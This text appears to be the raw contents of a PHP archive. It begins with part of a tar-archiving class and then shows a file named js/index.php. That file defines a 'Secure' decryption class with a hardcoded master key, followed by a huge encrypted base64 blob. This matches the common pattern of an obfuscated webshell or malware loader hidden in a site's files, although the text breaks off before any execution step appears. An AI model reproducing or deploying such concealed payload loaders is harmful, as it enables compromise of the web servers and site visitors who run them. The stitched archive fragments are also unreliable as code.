$i = 0;
while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
}
return true;
}
$file_info = stat($filename);
if (@is_dir($filename)){
$typeflag = '5';
$size = sprintf('%11s ', DecOct(0));
} else {
$typeflag = '';
clearstatcache();
$size = sprintf('%11s ', DecOct(filesize($filename)));
}
$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
$checksum = 0;
for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
$this->writeBlock($dataFirst, 148);
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlock($binaryData, 8);
$this->writeBlock($dataLast, 356);
return true;
}
function openWrite(){
if ($this->isGzipped)
$this->tmp_file = gzopen($this->archive_name, 'wb9f');
else
$this->tmp_file = fopen($this->archive_name, 'wb');
if (!($this->tmp_file)){
$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
return false;
}
return true;
}
function readBlock(){
if (is_resource($this->tmp_file)){
if ($this->isGzipped)
$block = gzread($this->tmp_file, 512);
else
$block = fread($this->tmp_file, 512);
} else $block = '';
return $block;
}
function writeBlock($data, $length = 0){
if (is_resource($this->tmp_file)){
if ($length === 0){
if ($this->isGzipped)
gzputs($this->tmp_file, $data);
else
fputs($this->tmp_file, $data);
} else {
if ($this->isGzipped)
gzputs($this->tmp_file, $data, $length);
else
fputs($this->tmp_file, $data, $length);
}
}
}
function closeTmpFile(){
if (is_resource($this->tmp_file)){
if ($this->isGzipped)
gzclose($this->tmp_file);
else
fclose($this->tmp_file);
$this->tmp_file = 0;
}
}
function makeGoodPath($path){
if (strlen($path)>0){
$path = str_replace('\\', '/', $path);
$partPath = explode('/', $path);
$els = count($partPath)-1;
for ($i = $els; $i>=0; $i--){
if ($partPath[$i] == '.'){
// Ignore this directory
} elseif ($partPath[$i] == '..'){
$i--;
}
elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
} else
$result = $partPath[$i].($i!=$els ? '/'.$result : '');
}
} else $result = '';
return $result;
}
}
?>PK ! ngIs js/index.phpnu [ masterKey = $masterKey;
}
public function decrypt($encrypted) {
$data = base64_decode($encrypted);
$salt = substr($data, 0, $this->saltLength);
$ivLength = openssl_cipher_iv_length($this->cipher);
$iv = substr($data, $this->saltLength, $ivLength);
$hmac = substr($data, $this->saltLength + $ivLength, 32);
$ciphertext = substr($data, $this->saltLength + $ivLength + 32);
$derivedKeys = $this->deriveKeys($salt);
$calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true);
$decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv);
return $decrypted;
}
private function deriveKeys($salt) {
$keyMaterial = hash_pbkdf2(
$this->hmacAlgo,
$this->masterKey,
$salt,
$this->iterations,
64,
true
);
return [
'encryption' => substr($keyMaterial, 0, 32),
'hmac' => substr($keyMaterial, 32)
];
}
private function verifyHmac($knownHmac, $userHmac) {
return hash_equals($knownHmac, $userHmac);
}
public function setIterations($iterations) {
$this->iterations = (int)$iterations;
return $this;
}
public function setCipher($cipher) {
$this->cipher = $cipher;
return $this;
}
}
$secure = new Secure('PG0wiDoJHZ8mpwVHuBKwcmPMKkKhtsz3');
$str = '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